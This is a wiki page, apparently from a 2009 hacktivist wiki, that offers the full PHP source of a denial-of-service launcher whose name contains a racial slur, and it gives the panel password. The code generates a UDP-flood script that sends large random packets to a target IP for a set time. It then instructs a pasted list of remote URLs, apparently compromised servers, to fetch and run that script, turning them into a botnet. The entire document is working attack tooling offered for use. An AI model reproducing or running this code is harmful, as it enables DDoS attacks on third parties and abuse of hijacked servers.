Nigr0 script

From /i/nsurgency W/i/ki
Revision as of 22:23, 11 March 2009 by >Elmusho (Created page with '== WAT IS == File:Nigr0screen.jpg This is a little php script, like one man DDoSing shit, check out screenshot and you'll get it. == PASSWORD == is "lulz" == THE COD...')
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigationJump to search

WAT IS


This is a little php script, like one man DDoSing shit, check out screenshot and you'll get it.


PASSWORD

is "lulz"


THE CODE

<?php set_time_limit(0); ?> <html> <head>

<title>Nigr0</title> <style type="text/css"> body { font-family: sans-serif; } </style> </head> <body> <?php $script_template = '<?php ignore_user_abort(TRUE); set_time_limit(0); error_reporting(0);

$ip = "%%ip%%"; $mins = %%time%%; $psize = 650000;

$secs = $mins*60; $out = ""; for($i=0;$i<$psize;$i++) $out .= chr(mt_rand(1, 256)); $timei = time(); $i = 0; while (1) { @$fp = fsockopen("udp://$ip", mt_rand(1,65000), $errno, $errstr, 1); if ($fp) { fwrite($fp, $out); fclose($fp); } $i++; if ($i > 5000) { if (time() - $timei > $secs) exit(); else $i = 0; } } exit(); ?>';

function MakeScript($target, $time) { global $script_template; $name = strval(rand(10000,99999)) . ".txt"; $script = $script_template; $script = str_replace("%%ip%%", $target, $script); $script = str_replace("%%time%%", $time, $script); $handle = fopen($name, "w"); fwrite($handle, $script); fclose($handle); return $name; }

class Launcher { var $fork_count = 5; var $fail = 0; var $script; var $urls; var $running = 0; var $unattended = false; var $time; var $autoname; function Launcher($fork_count, $urls, $script, $autoname, $unattended=false) { $this->script = $script; $this->urls = $urls; $this->fork_count = $fork_count; $this->unattended = $unattended; $this->autoname = $autoname; } function AddFail($bot, $safe=false) { $this->fail++; if (!$safe) $this->BotDone($bot, true); } function BotDone($key, $fail=false) { unset($this->urls[$key]); if (($this->running)-1 >= 0) { $this->running--; } print ($fail) ? "." : "."; } function AddBot($url, $key) { $this->running++; $tempbot = new Bot($url, $this->script, $key); $tempbot->Run(); unset($tempbot); } function GetUnAttended() { return $this->unattended; } function BotLoop() { foreach ($this->urls as $ukey => $uval) { if (!$uval) continue; if ($this->running+1 > $this->fork_count) { while ($this->running+1 > $this->fork_count) { sleep(1); continue; } } $this->AddBot($uval, $ukey); } if (count($this->urls) != 0) $this->BotLoop(); else $this->End(); } function Run() { if (count($this->urls) < 1) { print "Problem launching! No input specified.
"; return false; } print "Started!
"; $this->time = time(); $this->BotLoop(); return true; } function End() { $time = round(time()-$this->time); print "
Done!
"; print "Time taken: {$time} seconds, Total failures: {$this->fail}."; $currentdir = getcwd(); if ($this->autoname) unlink($currentdir.'/'.$this->autoname); return true; } }

class Bot { var $url; var $script; var $socket; var $key; function Bot($url, $script, $key) { $this->key = $key; $this->url = str_replace("%url", $script, $url); $this->url = @parse_url($this->url); $this->script = $script; } function Run() { global $launcher; if ($launcher->GetUnAttended()) $launcher->BotDone($this->key); $this->socket = @fsockopen($this->url['host'], 80, $errornum, $error, 2); if (!$this->socket) { $launcher->AddFail($this->key, ($launcher->GetUnAttended()) ? true : false); return false; } @stream_set_blocking($this->socket, 0); $data = "GET ".$this->url['path']."?".$this->url['query']." HTTP/1.1\r\n"; $data .= "Host: ".$this->url['host']."\r\n"; $data .= "Connection: Close\r\n\r\n"; @fwrite($this->socket, $data); @fclose($this->socket); if (!$launcher->GetUnAttended()) $launcher->BotDone($this->key); return true; } }

$password = $_POST['password']; $code = $_POST['launchcode']; $launcher = NULL; if (!$password) { print "Welcome. Continue here:
"; print "<form method=\"post\">"; print "<input type=\"password\" name=\"password\">
"; print "<input type=\"submit\" value=\"Go on.\">"; print "</form>"; }else{ if ((md5($password) == "8391291afacf90ba3d3ba22c0bac297e") && !isset($code)) { print "Good job, Welcome!
"; print "<form method=\"post\">"; print "Password: <input type=\"password\" name=\"password\">
"; print "Launch Code: <input type=\"password\" name=\"launchcode\">
"; print "Script: <input type=\"text\" name=\"script\">
"; print "Threads: <input type=\"text\" name=\"threads\" value=\"2\"> (Minimum: 2)
"; print "Disable Validation: <input type=\"checkbox\" name=\"unattended\">
"; print "Autogenerate script: <input type=\"checkbox\" name=\"generate\">
"; print "Target (Autogenerate): <input type=\"text\" name=\"target\">
"; print "Time (Minutes, Autogenerate): <input type=\"text\" name=\"time\">
"; print "<textarea name=\"urls\" rows=\"10\" cols=\"60\">"; print "</textarea>
"; print "<input type=\"submit\" value=\"Launch!\">"; print "</form>"; } elseif ((md5($password) == "8391291afacf90ba3d3ba22c0bac297e") && (md5($code) == "8391291afacf90ba3d3ba22c0bac297e") && (isset($_POST['script']) && isset($_POST['urls']) && isset($_POST['threads']))) { $autoname = NULL; $script = $_POST['script']; $urls = array_unique(explode("\r\n", $_POST['urls'])); $fork_count = intval($_POST['threads']); $unattended = (isset($_POST['unattended'])) ? true : false; $target = $_POST['target']; $time = $_POST['time']; if (isset($_POST['generate']) && isset($_POST['target']) && isset($_POST['time'])) { $autoname = MakeScript($target, $time); $path = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $selfscript = explode("/",$_SERVER['SCRIPT_FILENAME']); $script = str_replace($selfscript[count($selfscript)-1], $autoname, $path); } if ($fork_count < 2) die("Wrong thread count. (Minimum: 2)"); if (count($urls) < 1) die("Problem launching! No input specified."); $launcher = new Launcher($fork_count, $urls, $script, $autoname, $unattended); if (!$launcher->Run()) die("You did something wrong. Look above."); } } ?>

</body> </html>